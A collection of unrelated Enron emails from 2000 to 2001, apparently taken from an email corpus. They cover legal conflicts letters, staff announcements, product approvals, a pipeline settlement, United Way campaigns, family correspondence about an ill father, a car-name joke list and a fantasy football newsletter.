Cullina to keep the ball moving and distributed that markkup internally via 
the attachment, but nothing more has happened since then. The revised waiver 
letter appended to the attachment is marked to show changes to the original 
Murtha request, so I won't forward that document to you unless you want it. 
Please give me a call at your convenience to discuss.
----- Forwarded by Barton Clark/HOU/ECT on 09/01/2000 01:34 PM -----

	08/31/2000 02:18 PM
		 
		 To: Daniel Allegretti/HOU/EES@EES
		 cc: Sheila Tweed/HOU/ECT@ECT

Attached is a suggested markup of the requested conflicts letter. Candidly, I 
don't see how Murtha can continue to represent us in lobbying for the subject 
transactions and represent CRRA in lobbying and legal representation for the 
same transactions without conflicts or creating the appearance of 
impropriety, and the markup reflects that scepticism by trying to segregate 
out the representation cleanly. Also, to the extent the original draft 
indicated Murtha had represented both CRRA and Enron re the transactions 
until now, we need to make sure that we are OK with waiving that conflict as 
a substantive matter. I'm not familiar enough with the representation to know 
if Enron's interests could have been compromised during that period of dual 
representation, and I do not think we should agree to the waiver until we are 
comfortable on that score.The letter also now  makes clear that Murtha will 
not be able to represent either party or their affiliates in litigation 
involving them. Since the letter requires the signature of Enron Corp., I'm 
trying to find out what clearance is required, as I customarily do not review 
or initial Corp. documents for signature.

Mary Solmonson has made a personal choice to resign from Enron.  It is with=
 regret that I have accepted Mary's letter of recommendation.  Mary has con=
tributed greatly during her tenure at Enron, particularly in the developmen=
t of global information that has been critical in supporting our effective =
systems development and information gathering.  I do appreciate Mary's pers=
onal decision, however, and I know that you will join me in wishing Mary we=
ll. =20

Also effective April 16, we have made a realignment within Enron Net Works =
of the group led by Sheri Thomas.  Sheri will now report directly to Andy Z=
ipper, who leads EnronOnline.  The Operations Product Control Team in its e=
arly stages was focused primarily on making our transition to EnronOnline a=
 smooth one for operations.  Much time was spent initially on the bridges n=
ecessary between EnronOnline and our legacy systems.  The role of the team =
has evolved today to one that is intimately involved in the day-to-day  ope=
rations of EnronOnline.  With this evolution, it makes sense to have Sheri'=
s team as an integral part of the larger EnronOnline team.  Sheri's team wi=
ll continue to support other e-commerce initiatives, such as Clickpaper, De=
alBench and CommodityLogic, so that we can leverage the experience of her t=
eam and avoid duplication of internal infrastructure.  Sheri, Andy and I me=
t with Sheri's team yesterday to announce this organizational realignment. =
 Sheri has done a great job of leading the Product Control Group over the p=
ast 14 months.  Sheri is committed to see that her team continues to work c=
losely with Operations to ensure that any changes in Enron's e-commerce bus=
inesses that may impact trading operations are shared with us.  We look for=
ward to continuing to work closely with Sheri and her team.  =20

Tana/Kelly/Karen:

The product long descriptions below will fall under two new product types:  
   CAN Recycled OCC Phy
   CAN Recycled ONP Phy
 
 Credit (Tom Moran) has approved copying the profiles for the new product 
types from the following:

 US Recycled OCC Phy
 US Recycled ONP Phy
 
Please respond no later than 10 a.m. on Wednesday, May 30.

Thank you.

From:  Lozano, Melba  
Sent: Tuesday, May 29, 2001 10:35 AM
To: Sever, Stephanie
Cc: Nelson, Gary; Walker, Chris
Subject: FW: Approval needed for 2 product types (CAN Recycled OCC and ONP 
Phy)

Stephanie:

For CAN Recycled Occ phy  they want to copy US Recycled OCC Phy (2008)
For CAN Recycled ONP phy they want to copy US Recycled ONP Phy (2009)
For CAN Newsprint Phy they want to copy US Newsprint Phy (2006)

If you have any questions the best person to ask is either Chris or Gary 
regarding these products.

Thanks,
Melba Lozano
713-345-8986 
713-646-8511 Fax
713-698-4847 Pager

Sent: Friday, May 25, 2001 11:34 AM
To: Blumenthal, Jeff; Musch, Susan; Hagelmann, Bjorn; Taylor, Mark; Collins, 
Harry; Moran, Tom; Mao, Shari; Hoang, Charlie
Cc: Lees, Lisa; Sever, Stephanie; Jones, Tana; Lambert, Karen; Lombardi, 
Kelly; Sweitzer, Tara; Kenne, Dawn C.; Moorer, Torrey; Cass, Robert B.; 
Meredith, Kevin; Lozano, Melba; Alatorre, Carlos
Subject: Approval needed for 2 product types (CAN Recycled OCC and ONP Phy)

Please approve the following 2 product types in Data Manager after 11:00 
A.M.  Attached are the GTC and long descriptions.

CAN Recycled OCC Phy
CAN Recycled ONP Phy

thanks

From:	Dutch Quigley/ENRON@enronXgate on 10/22/2001 12:28 PM
To:	Kay Quigley/HOU/EES@EES
cc:	 
Subject:	couch

I set for the couch to be delivered tomorrow between 5:30 at 6:30

dq

Yesterday, Enron settled a procedural dispute with Dynegy over Northern Natural Gas.  Our settlement allows Dynegy to exercise its option to acquire the pipeline, dismisses their Texas lawsuit and extends Enron's right to repurchase until June 30.  We reached this settlement as part of our efforts to bring Enron out of bankruptcy.  While we would like to keep Northern Natural, we still have some 9,000 miles of safe, profitable interstate pipelines as a base to rebuild our core businesses.  

The settlement provides the best opportunity to resolve the pipeline issue quickly and pursue our $10 billion damage claim against Dynegy.  It also allows us to avoid the very substantial costs and distractions from protracted litigation in state courts.  

We want to see a positive future for the employees working with Northern Natural Gas.  Below is a copy of a message from Stan Horton further explaining this decision to the employees of Enron Transportation Services.

Ken

Dear ETS Colleague:

On Thursday, Enron entered into a settlement over Dynegy's exercise of its option to acquire the Northern Natural Gas pipeline.  The settlement allows Dynegy to exercise the option and assume interim control of the pipeline while Enron pursues its damage claim against Dynegy.  

In this respect, Enron Corp. has carefully weighed the substantial costs and turmoil that litigating this possession issue would create for the company and the employees of Northern Natural Gas.  Consequently, Enron Corp. has decided not to contest interim possession and allow the transfer of Northern Natural Gas to Dynegy, while the larger issues affecting its future are resolved.

The company has concluded that with this settlement, Enron should be able to resolve the issue more quickly, as well as avoid the legal cost burden and distractions to the business from protracted litigation in state court.  For the Northern Natural Gas employees, I believe this decision should allow them to steer clear of the dispute and focus on the day-to-day satisfaction of running a valuable, successful business.

Beginning immediately we will be working to achieve a smooth transition and to align the appropriate resources to assure continued safe, reliable and efficient operation of Northern Natural Gas.  

Over many years we have run high quality, cost conscious and profitable businesses in ETS.  Keep up the good work!

Stan

George,

My Assistant, Liz Taylor, is the United Way Coordinator for Enron Net Works.  
Your group is listed with Net Works' United Way campaign.  Our participation 
numbers are very low.  We started yesterday with our telephone and personal 
visit campaign.

Liz has listed below the employees, she believes, belong to your 
organization.  These are the names of those employees who have not gone 
online to make their pledge.  Please have your Assistant verify this list.  
If they are indeed your employees, I'm asking you to personally call them and 
ask them to go online and make their pledge.  If any of the names listed 
below are not with your group, please have your assistant notify Liz.

Should they experience difficulties getting online, please call Liz @ 
31935.   UnitedWay.Enron.com.

Thank you,

Amanda Becher
Borgman, Karen (?)
Calvin Eakins
Carmen Ayala
Carolyn Wedel
Craig H. Brown
DAniel J. Olson
Darin L. Carlisle
Donna L. Ruff
Eileen Buerkert
Felicia Salewsky
Glenn E. Lewis
Jeff A. Leath
Jonathan Goebel
Kayla A. Heitmelyer
Kenneth R. Smith
Michael B. Kushner
Randy K. Rice
Ronald L. Smith
Roy D. Hartstein
Thomas O. Moore
Tracy L. Ramsey

Hi, 

I need to look at the calendar again, but I think we will be leaving on Saturday the 9th of June.  We'll probably stop in Coffeyville for a day or so and come on through to Omaha.  

I'm sad to hear that Daddy's tube does not seem to be doing the job.  I had to hear that, because I too feel confident that if we can get some nourishment into his body that he will get alot better.  I'm so glad you stepped in and are taking matters into your own hands.  I also feel like Daddy feels real good that you are stepping in as well.  I spoke with Mom yesterday, daddy was sleep, so she really got a chance to tell me how everything really is.  She too is now saying that Daddy is in pretty bad shape.

I asked Daddy about the retirement, and he said the same thing,  he is not ready yet. but the reality of it is, is that we still need to move now and not wait.  I just hope he understands.  I'm glad Daddy is not in alot of pain.  I think with him seeing the boys will really cheer him up.  It's so hard to face all of this uncertainty isn't it.  The good part, if there is any, is that Daddy is going to a better place with no more suffering.  He's certainly had a good life and we all want him to go on forever, but if there is pain involved, I 'd rather see him out of pain.  Just keep praying for Daddy as well as Mom.  

If there is anything I can do from hear, just let me know.

Talk with you later!

From: 	"Mims, Charnella" <mimsc@ops.org>@ENRON [mailto:IMCEANOTES-+22Mims+2C+20Charnella+22+20+3Cmimsc+40ops+2Eorg+3E+40ENRON@ENRON.com] 
Sent:	Tuesday, May 22, 2001 11:27 AM
Subject:	RE: I'm still waiting

Hey girl, what's going on?  When are you going to be here so I can clear my
schedule.  I have graduation tonight so I will probably be home late.  The
visiting nurse came out last night to check on daddy and to explain how to
use the feeding tube. I went over there around 9:00p.m. from church.
After she fed daddy thru the tube, he upchuck again.  So this tells all of
us that the feeding tube is not going to do the job.   The main concern that
is being expressed by everyone is we have to find some way to stop the
vomiting.  The Hospice nurse will be out today at 4:00 and I go back over
there to hear what they have to say.  Daddy goes to the new doctors on May
31.  The main concern is the vomiting.  We just have to hang in there and
keep praying.  After my doctor's visit with Daddy on Thursday, I had a hard
time dealing with it on Friday.  Everytime someone would ask me about it, I
would start crying.  I am doing better today and daddy's spirit seemed fine
last night.  I told Junior about the nurses on Saturday and I left it up to
him to talk with Corey.  The next thing I need to do is call Daddy's boss
and ask him about his retirement.  Even though he is eligible, he is not
ready to take that final step.  when junior and I were talking, we wondered
about what would happen to the retirement (as far as Mom is concerned) if he
does not officially retire?   Daddy is still very optimistic as we all are.
It is very important that his attitude stays positive.  Enough for now.
Talk with you later.

From: Patrice.L.Mims@enron.com [mailto:Patrice.L.Mims@enron.com]
Sent: Wednesday, April 25, 2001 10:32 AM
To: mimsc@ops.org
Subject: RE: I'm still waiting

Hey girl,

Sorry, I received all of your messages, but did not respond, sorry.  So
little C.J. looks like a "half-breed", (that's what you''re trying to
say!).  Is he cute?  I can't wait to see him.  Yes, I did talk to Teena
yesterday afternoon, she sounded happy.

I spoke with Daddy yesterday and told him to sit his butt down and stop
trying to go to work, especially if there are no health benefits that he
will be losing.  Instead of concentrating on that job, I told him to
concentrate on his health.  He said I was right, and said he was going to
seriously consider it.  I had to laugh when he said he went to work and
fell asleep reading or trying to throw away some paperwork.  That was
hilarious.  Can you imagine the secretary going in and finding "little
bitty" daddy sitting there asleep.  I cracked up.

The concert was good, you know those young men "showed out".  However, the
concert was supposed to start at 8 and did not start til 9 and had several
acts before them and as a result, did not get out of the concert until 1:15
p.m.   I was a tired sister, but it was well worth it.  The Hilton
Southwest is close to me, its right be Sharpstown Mall.  Tell me that dates
again.

   From:   "Mims, Charnella" <mimsc@ops.org>@ENRON

[mailto:IMCEANOTES-+22Mims+2C+20Charnella+22+20+3Cmimsc+40ops+2Eorg+3E+40ENR
ON@ENRON.com]

   Sent:   Wednesday, April 25, 2001 8:51 AM
   To:     Mims, Patrice L.
   Subject:  RE:I'm still waiting

   How come I have not had a response from you?  You better get on your
   job.  I
   was beginning to wonder if you were on vacation or something.

   I saw "little" Corey last night for the first time.  You can see some of
   his
   Indian heritage.  His hair is hair is very straight and he is darker
   than
   teena.  It was so weird calling him Corey.  That is going to take some
   getting use to for me.  Teena told me that you called her yesterday.
   I finally got the name of the hotel that the choir will be staying in
   when
   we arrive in houston on 6/27 & 6/28.  It is not embassy suite.  It is
   the
   Hilton Houston Southwest.  Where is that in relations to you?

   From: Patrice.L.Mims@enron.com [mailto:Patrice.L.Mims@enron.com]
   Sent: Tuesday, April 10, 2001 4:29 PM
   To: mimsc@ops.org
   Subject: RE: Easter

   Yes, you are absolutely correct, I can never get ahold of you.    I know
   you're very busy.  Our plane get in at 12:00 on Friday, so we'll  hail a
   cab over to Mom's house.  Everything here is going okay.  I hope Tina
   has
   had the baby by the time I get there this weekend.  I sure don't want
   her
   to have to spend Easter in the hospital.  As far as dinner is concerned,
   we'll have the regular, roast, ham, macaroni and cheese, greens yams,
   etc.
   Mom said something about getting a turkey, if so, we'll have to have
   dressing.  Anyway, I think I am going to choir rehearsal tonight, so
   I'll
   try to call you on the way home.

   See ya!

What's Worse Than A Pyromaniac In A Blazer?

A barber in a Seville

A seamstress in a Dart

An insurance adjuster in an Acclaim

A construction worker in a Bobcat

A creature in a black Laguna

A theater manager in a Marquis

An astronomer in an Eclipse

An exterminator in a Beetle

A call-girl in an Escort

A spiritualist in an Aurora

A proctologist in a Probe

A proctologist in a Ram

An orator in a Civic

A country singer in a Neon

A reporter in a S'Coupe

A Good Humor man in a S'Coupe

An orchestra conductor in a Prelude

A classical musician in a Sonata

A customs inspector in a Passport

A dog trainer in a Rover

A jeweler in a Topaz

A band leader in a Tempo

A gentleman in a Gallant

A Bullfighter in a Matador

A mother-in-law in a Barracuda

An electrician in a Charger

A snake handler in a Viper

A second-story man in a Prowler

A car thief in a Jimmy

A lepidopterist in a Monarch

Barbie in a Malibu

Sgt. Preston in a Yukon

Queen Elizabeth in a Regal

Prince Rainier in a Monaco

Princess Stephanie in a Riviera

Prince Charles in a Regency

Joan Collins in a Dynasty

(Hillary Clinton in a Park Avenue?)

Jim Garner in a Maverick

Kato in a green Hornet

Nixon in a Checker

Kissinger in a Diplomat

Speedy Gonzales in a Fiesta

Wile E. Coyote in a Road Runner

Elmer Fudd in a Wabbit

Miss Muffet in a Spyder

Charles Lindberg in an Intrepid

Christopher Columbus in a Voyager

Blackbeard in a Corsair

Russell Means in a Dakota

Tonto in a Cherokee

Dorothy in a Syclone

Benjamin Franklin in a Lightning

Carl Sagan in a Nova

Bruce Lee in a Sidekick

Oscar De la Hoya in a Challenger

John Mellencamp in a Cougar

Wonder Woman in a gold Lariat

Edmund Halley in a Comet

Public-TV yoga instructor Lillias in a Lotus

Rosie O'Donnel and Charlton Heston in a Colt

Yassir Arafat and Menahim Begin in an Accord

Nostradamus and Jeanne Dixon in a Futura

Kate,

Please autoschedule and approve. 

9/5 581303

9/24  581304

9/27  581305

9/28  581308

10/31 581310 Annuity

11/30 581315 /  581316 Annuites

Les

nope, we don't, so I've asked Marathon to call and find out who all the 
speakers are.  Will let you know.

From: Jeff Dasovich on 03/15/2001 04:08 PM
To: Karen Denne/Corp/Enron@ENRON
cc:  

Subject: 

do we really not know who is speaking on our behalf at the event in LA?

Please add to your list of credit sheets, Reliant Energy Services LTD.

 Anna Kournikova Exclusive Fantasy Offer!  Save 10% on Anna's 2002 Calendar=
! Yes 12 months of Anna!  Simply enter the coupon code FNTSYCAL in step 5 o=
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, Player Updates  [IMAGE]Latest NFL Player News  Keenan McCardell , WR JAC =
- Neal/McKay Updated 11/25/01 McCardell caught six passes for 80 yards agai=
nst Baltimore. He has certainly raised the level of his play in recent week=
s, and should be a solid Fantasy player down the stretch as opponents conti=
nue to focus on Jimmy Smith.  Stacey Mack , RB JAC - Hunter Updated 11/25/0=
1 Mack rushed for 50 yards and two TDs and caught five passes for 45 yards =
against the Ravens. Despite his good outing, Mack remains a Fantasy risk be=
ca! us! e of his inconsistency.   Qadry Ismail , WR BAL - Bass/Hull Updated=
 11/25/01 The Jaguars held Ismail to three catches for 44 yards. Despite hi=
s quiet statistical performance, Ismail remains a must-start player for any=
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he AFC.  Jason Brookins , RB BAL - Tori Updated 11/25/01 Brookins rushed fo=
r 82 yards and two TDs at Jacksonville, but also lost a fumble. The rookie =
RB is talented, but too erratic to be a Fantasy starter on most teams right=
 now.  Ron Dayne , RB NYG - Neal/McKay Updated 11/25/01 Dayne carried the b=
all six times for 26 yards against Oakland. Don't depend on him for good nu=
mbers during the remainder of the season.  Tiki Barber , RB NYG - Neal/McKa=
y Updated 11/25/01 Barber rushed for 124 yards and a TD against Oakland, an=
d caught five passes for 41 yards. He has played well recently, although hi=
s owners would still like to see him score on a more consistent basis.  LaD=
ainian Tomlinson , RB SD - Hunter Updated 11/25/01 Tomlinson was held out o=
f the end zone, but he had a good day against Arizona nonetheless. The rook=
ie tailback had 145 scrimmage yards, including 13 receptions, in San Diego'=
s 20-17 loss.   Doug Flutie , QB SD - Russell Updated 11/25/01 Flutie had a=
 solid game, throwing for 308 yards and two touchdowns against Arizona. How=
ever, he's only worth starting when the matchup is to his advantage.   Jake=
 Plummer , QB ARI - Frank Updated 11/25/01Plummer had a decent outing on Su=
nday, posting 241 yards and a touchdown against San Diego. Plummer, who als=
o threw two picks, is only a reserve Fantasy quarterback at best.   David B=
oston , WR ARI - Bass/Hull Updated 11/25/01 Boston had another outstanding =
game, catching six passes for 121 yards and a touchdown against San Diego. =
He's one of the most reliable Fantasy receivers in the league, and is worth=
 starting on a weekly basis.   Willie Jackson , WR NO - Martin Updated 11/2=
5/01 Jackson had a ! go! od outing against New England, catching five catch=
es for 78 yards and a touchdown. He may not be the most dependable Fantasy =
receiver, but he is worth starting in deeper leagues.   Joe Horn , WR NO - =
Matty Updated 11/25/01 Horn had another solid outing, catching four passes =
for 97 yards against New England. He's been a very dependable receiver in r=
ecent weeks and is worth starting on a weekly basis.  Tyrone Wheatley , RB =
OAK - Giggles Updated 11/25/01 In his return from a knee injury, Wheatley c=
arried the ball five times for 17 yards. Zack Crockett was used more often =
in short-yardage packages, and Wheatley does not appear capable of starting=
 for any Fantasy team in the near future. Even when he is fully healthy, he=
 may not be able to take many carries away from Charlie Garner.  Antowain S=
mith , RB NE - JWillie Updated 11/25/01 Smith had 153 yards of total offens=
e and two touchdowns against New Orleans. After a slow start, Smith has bec=
ome a pretty good weekly option for Fantasy Footballers  Tom Brady , QB NE =
- Martin Updated 11/25/01 Brady put up huge numbers against New Orleans, po=
sting 258 yards passing and four touchdowns. He's become a pretty reliable =
Fantasy player, and his performance will likely keep Drew Bledsoe on the Pa=
triots' bench for another week.  Rich Gannon , QB OAK - Martin Updated 11/2=
5/01 Gannon threw for 221 yards, three TDs and no interceptions against the=
 Giants. He ignored rain-soaked conditions, and continued to look like the =
most reliable QB in Fantasy Football.  Frank Sanders , WR ARI - Free Agent =
Updated 11/25/01 Sanders left Sunday's game against San Diego after re-aggr=
avating a hamstring injury. He was replaced by MarTay Jenkins, and did not =
return to the game.  Eric Moulds , WR BUF - Bass/Hull Updated 11/25/01 Moul=
ds finally emerged from an extended slump, catching six passes for 196 yard=
s and two TDs against Miami. He also lost a fumble, and Fantasy owners shou=
ld still remember that Moulds has been a disappointment for most of the yea=
r. Don't be surprised if he follows his best outing of the year with a medi=
ocre performance.  Alex Van Pelt , QB BUF - Free Agent Updated 11/25/01 Van=
 Pelt had another fine game, throwing for 309 yards, three TDs and one inte=
rception. He is definitely merits strong Fantasy consideration as long as h=
e remains in Buffalo's starting lineup.  Oronde Gadsden , WR MIA - Matty Up=
dated 11/25/01 Gadsden caught eight passes for 118 yards at Buffalo. He did=
 not catch a TD pass, though, and lost a fumble. Gadsden is too unreliable =
to start for most Fantasy teams in these important final weeks.  Jay Fiedle=
r , QB MIA - Tori Updated 11/25/01 Fiedler threw for 262 yards, three TDs a=
nd no interceptions at Buffalo. His performance may have quieted talk of a =
QB controversy, but Fiedler is still too inconsistent to be a dependable Fa=
ntasy QB.  Donovan McNabb , QB PHI - Russell Updated 11/25/01 The Redskins =
held McNabb to 92 passing yards and 39 rushing yards, with no TDs or interc=
eptions. Expect the Philadelphia QB to rebound quickly from such a quiet pe=
rformance.  James Thrash , WR PHI - Frank Updated 11/25/01 Thrash caught fo=
ur passes for 32 yards against Washington. He is too in! co! nsistent to be=
 a starter on better Fantasy teams as the playoffs approach.   Rod Gardner =
, WR WAS - Free Agent Updated 11/25/01 Gardner caught four passes for only =
33 yards on Sunday. The rookie has slowed down considerably in the past few=
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 Carter , RB WAS - Free Agent Updated 11/25/01 Carter saw extensive action =
on Sunday as Stephen Davis played through back problems. He carried 18 time=
s for 56 yards, and is a good backup to have if Davis in on your Fantasy te=
am. Davis has always been known to battle minor injuries.  Isaac Byrd , WR =
CAR - Free Agent Updated 11/25/01 Byrd started in place of the injured Muhs=
in Muhammad on Sunday. He posted decent Fantasy numbers in Muhammad's absen=
ce, catching five passes for 69 yards in Carolina's 10-7 loss to Atlanta.  =
 Muhsin Muhammad , WR CAR - Martin Updated 11/25/01 Muhammad missed S! un! =
day's game against Atlanta due to a shoulder injury. His status for next we=
ekend's game against New Orleans is unknown at this time.   Derrick Alexand=
er , WR KC - JWillie Updated 11/25/01 Alexander caught two passes for 56 ya=
rds in his return from a rib injury. He was not open often, and Alexander m=
ay continue to be a Fantasy disappointment if he stays healthy.  Chris Chan=
dler , QB ATL - Free Agent Updated 11/25/01 Chandler had a subpar game on S=
unday, throwing for only 132 yards against Carolina. The Falcons chose to a=
ttack Carolina with their ground game, which was the reason for Chandler's =
poor Fantasy numbers.   Derrick Alexander , WR KC - JWillie Updated 11/25/0=
1 Alexander caught two passes for 56 yards in his return from a rib injury.=
 He was not open often, and Alexander may continue to be a Fantasy disappoi=
ntment if he stays healthy.  More Updates  Transactions, View  [IMAGE]     =
[IMAGE] Make Selection   [IMAGE]       [IMAGE] There are no League Transact=
ions which meet the selected criteria.  To see all league transactions sele=
ct "All", "All", "All Teams" from the Transactions, View page.      Schedul=
e, Breakdown  [IMAGE] Matty Player Pos Points Brooks, Aaron  QB 21.0 Faulk,=
 Marshall  RB 0.0 Pittman, Michael  RB 10.0 Gadsden, Oronde  WR 11.0 Horn, =
Joe  WR 9.0 Stokes, J.J.  WR 10.0 Janikowski, Sebastian  K 4.0 Giants  DT 2=
.0   [IMAGE] TOTAL   67.0   [IMAGE] Griese, Brian  QB 10.0 Smith, Rod  WR 8=
.0 Chapman, Doug  RB 0.0 Glenn, Terry  WR 0.0 Johnson, Brad  QB 0.0 Wycheck=
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 Green, Ahman  RB 26.0 Tomlinson, LaDainian  RB 14.0 Freeman, Antonio  WR 8=
.0 Johnson, Kevin  WR 17.0 Morton, Johnnie  WR 6.0 Vanderjagt, Mike  K 3.0 =
Chargers  DT 9.0   [IMAGE] TOTAL   83.0   [IMAGE] Jackson, Darrell  WR 6.0 =
Stewart, James  RB 10.0 Jackson, James  RB 4.0 Mack, Stacey  RB 21.0 Pinkst=
on, Todd  WR 1.0 Robinson, Marcus  WR 0.0   [IMAGE]  Copyright 2001 Commiss=
ioner.COM Inc and SportsLine.com Inc. Your site can be reached from http://=
fantasy.sportsline.com   FB10SP  =09

	From:  Rebecca A. McDonald @ ENRON                           02/18/2000 05:51 
PM
	
cc:  
Subject: Paul Quilkey

Please join me in congratulating Paul Quilkey in his new role as Vice 
President leading our efforts in Australia.  Joe Hirl has assumed a leading 
role in the formation of our business in Japan.  Joe also has regional 
responsibility for trading activity.

Paul's appointment is in recognition of the critical role Paul has played in 
Enron Australia's successful commencement and the body of outstanding work he 
has accumulated to date in his career with Enron. It is worth noting that 
Paul joined Enron as recently as the Associate intake of 1995.  In the short 
time since then Paul has developed and grown through various positions to his 
current Trading and Origination role, a position of great responsibility in a 
dynamic young business making aggressive inroads into the Australian market, 
and far from Enron's traditional US markets. 

Please join me in congratulating Paul on his appointment. 

Rebecca

Ron:

Thanks for your help.  Let's get together for lunch some time.  Let me know 
what works for you.

Mark

Start Date: 4/12/01; HourAhead hour: 6;  HourAhead schedule download failed. 

Hi Mark, I have not met you yet but heard a lot of good things about you.  =
I=20
would like to discuss with you and possibly with John Bloomer and Richard=
=20
Reichardt about the EBS Research's role in supporting the Storage market=20
development from the origination and trading perspective.  There are severa=
l=20
people in various groups that are talking about storage but here is what's =
my=20
take on our involvement--please correct me or suggest otherwise. =20

Shalesh Ganjoo is our lead analyst on this effort.  In addition to his effo=
rt=20
with your group, he is presently supporting Jean Mrha with pricing and=20
standardization for a traded storage maret--Stinson Gibner is directly=20
supervising him in this effort.

Shalesh came to us through referal from David Cox--David discovered him at=
=20
one of his speaking engagements.  Shalesh had talked to David about traded=
=20
storage market development some time last October and David refered Shalesh=
=20
to Enron Research group. We hired Shalesh for general analyst position and=
=20
now he is pulled into all aspect of this storage effort.  Currently, he is=
=20
our point person (with Stinson or I supervising his effort) who is supporti=
ng=20
Jean Mrha and you on the subject.  Kara Knop has aproached Shalesh with=20
request for some support and Shalesh and she are sorting out each other=01,=
s=20
role in this regard.  As per my discussion today with David, we need to=20
coordinate this storage effort from the perspective of modeling market=20
assessment etc. For this I suggest Shalesh and his effort so that all parti=
es=20
involved can benefit from collective effort within one central source.  Bas=
ed=20
on David's and my assessment of Shalesh's capabilities, I would like to=20
suggest that the commercial heads use Shalesh for his creative thinking,=20
understanding of the market and analytical capabilities and not just for da=
ta=20
gathering and simple research effort. We can add other staff as we see the=
=20
need and as you request them.=20

Please respond this e-mail with your comments if this sounds like aplan, so=
=20
that we can support this effort efficiently and in a scalable manner.

Ravi.

A bit about EBS Research Group

John Bloomer and Richard Reichardt have met me and are aware of my role and=
=20
Stinston Gibner's role in EBS. I lead a team of quantitative professionals=
=20
via a group we are calling EBS Research.  This group reports to Stinson=20
Gibner (VP) and Vince Kaminski (MD and Head of Enron Research).  Stinson an=
d=20
Vince are the original founders of Enron Corp Research that has been charge=
d=20
with model development efforts to support Enron Energy trading and other=20
Enron business.  Enron Research is involved in all aspects of Enron buiness=
es=20
(EES, International, Corporate affairs such as FAS 133 and other accounting=
=20
and new product (derivatives) development, etc.).

Within EBS Research, there serveral professionals supporting Kevin Howard=
=20
(CFO office), John Griebling, Tom Gros and Jean Mrha, David Cox (via Boris)=
,=20
and the War room.  Our main area of focus is with Jean Mrha (trading) and=
=20
John Griebling (optical network design and optimization, etc.).  We play a=
=20
key role with John Griebling's go forward network design and implementation=
=20
through our responsiblity to provide traffic engineering analysis and=20
modeling effort.

----- Forwarded by Ravi Thuraisingham/Enron Communications on 03/08/00 09:3=
1=20
AM -----

=09Shalesh Ganjoo@ECT
=0903/07/00 08:01 PM
=09=09=20
=09=09 To: Mark S Palmer/Enron Communications@Enron Communications
=09=09 cc: Ravi Thuraisingham/Enron Communications@ENRON COMMUNICATIONS@ENR=
ON
=09=09 Subject: Meeting for Friday on Storage

Dear Mark,

I am looking forward to presenting my competitive analysis on the Storage=
=20
market on Friday to you and others.  Ravi Thurasingham will be calling you =
to=20
find out if we (Research Group) can assist your group in any other way. =20
Please let me know if you need any information before we meet.  Thank you.

Shalesh Ganjoo

Gary, this is the guy we talked about.  He is worth atleast a look.  Ex 
Cargill. Please meet with him.
m
---------------------- Forwarded by Mike McConnell/HOU/ECT on 10/12/2000 

D'Arcy Carroll@ENRON
10/11/2000 01:47 PM
Sent by: Monica Matias@ENRON
To: Greg Whalley@ECT, Mike McConnell/HOU/ECT@ECT, McMahon@ECT
cc:  
Subject: CV - expat relocation

I've forward separate e-mails to each of you initiating both my interest to 
introduce myself for consideration to working within your respective groups, 
but also including some commercial ideas relative to the South American 
region and elsewhere.  

I would ask at your convenience for confirmation of your interest, or not, 
and availability for meetings during the week of Oct 16th-20 in Houston.   

I am available, in the meantime, to respond to any information you need, 
including clarifying any of my experience at or prior to Enron.

Thank you in advance for any effort extended in my behalf.

Richard:? Here is the transcript from Sunday showing the examination of Bruce 
McLeod (Hennegan's firm).? Look at pages 16-30, where McLeod takes a minor 
run at Enron.

 <<Schultes 8.06.txt>> 
Steve 

P.S.? I just learned that Schultes did not finish today and is going again 
tomorrow. 

 - Schultes 8.06.txt

As we prepare for the kick-off of Enron=01,s 2001 United Way Campaign, Buil=
ding=20
Houston=01,s Future, we are asking our top-level executives to set the stan=
dard=20
of giving during the Leadership Giving Campaign that will run from July 23=
=20
through August 3.

The decision to focus this year=01,s campaign on Building Houston=01,s Futu=
re came=20
directly from our employees, who rallied to help Houston recover from the=
=20
flood damage caused by Tropical Storm Allison. Enron employees have express=
ed=20
a strong desire to continue assisting those in need until our city fully=20
recovers, so our adopted agencies were selected with flood relief in mind.=
=20
Each business unit is also adopting United Way Scholars students, who will=
=20
participate in the Days of Caring. United Way Scholars builds Houston=01,s=
=20
future business leaders by targeting talented students who may be overlooke=
d=20
by other scholarship programs.

Last year, your generosity took Enron to new heights. We raised $2.8 millio=
n,=20
which was 21 percent higher than our original goal. In order for Enron to=
=20
achieve even greater success this year, we invite you to join us in becomin=
g=20
a member of the prestigious Alexis de Tocqueville Society by making a pledg=
e=20
of $10,000 or more to United Way. =20

You are invited to join us at an Alexis de Tocqueville Breakfast on Tuesday=
,=20
July 31 from 7:30 a.m. =01) 9 a.m. to learn more about the Society and hear=
=20
about Enron=01,s 2001 United Way Campaign plans.

The Breakfast will be held at the Center for the Retarded at 3550 West=20
Dallas. Center for the Retarded is one of Enron=01,s four adopted agencies =
for=20
the 2001 campaign. Transportation from the Enron Building to The Center wil=
l=20
be provided; however, if you prefer to drive yourself, we will send out=20
directions a few days prior to the breakfast. Please RSVP to Zulie Flores a=
t=20
ext. 3-3908 or zulie.flores@enron.com by Thursday July 26.

Leadership giving solicitation officially begins on Monday, July 23, so loo=
k=20
for an e-mail on Monday morning with more information about the overall=20
campaign and how to make your pledge on-line. If you have any questions abo=
ut=20
the Alexis de Toqueville Society, or about this year=01,s campaign, please=
=20
contact Kathy Mayfield, Enron=01,s United Way Campaign Coordinator, at=20
713-853-3264 or Kathy.Mayfield@enron.com.=20

At 49 Society members last year, Enron had the highest number of members in=
=20
the city, and ranked nationally in the top 25 companies for total membershi=
p.=20
We want to thank you for your generosity as this truly indicates how giving=
=20
each of you are.=20

Your support is needed more than ever and is the key to surpassing our=20
campaign goals for 2001. We look forward to seeing you at breakfast on the=
=20
31st.

Below is the LNG Agreement file you can use for modifications if necessary.
---------------------- Forwarded by Janet Edwards/Corp/Enron on 06/07/2000 
03:46 PM ---------------------------

"Bobby J. Gaspard" <bjgaspard@cmsenergy.com> on 05/30/2000 01:15:39 PM
To: Janet.Edwards@enron.com
cc:  

Subject: Re: Agreement

Dear Janet:

Please find attached a draft discount letter documenting our potential deal 
for
transportation service on Trunkline Gas Company.  Please review and provide me

I am not available this week due to meetings.  Please leave me a message or 
send
email and I will respond as soon as I can.

Questions, please let me know.

Thanks,

Bobby J. Gaspard

(See attached file: ena transport deal disc letter.doc)

Janet.Edwards@enron.com on 05/23/2000 03:31:39 PM

To:   Bobby J. Gaspard/Mktg/PPLC@CMSPanhandle
cc:
Subject:  Agreement

How is it looking to receive it today?

 - ena transport deal disc letter.doc

Start Date: 4/7/01; HourAhead hour: 18;  No ancillary schedules awarded.  

Schedules\2001040718.txt

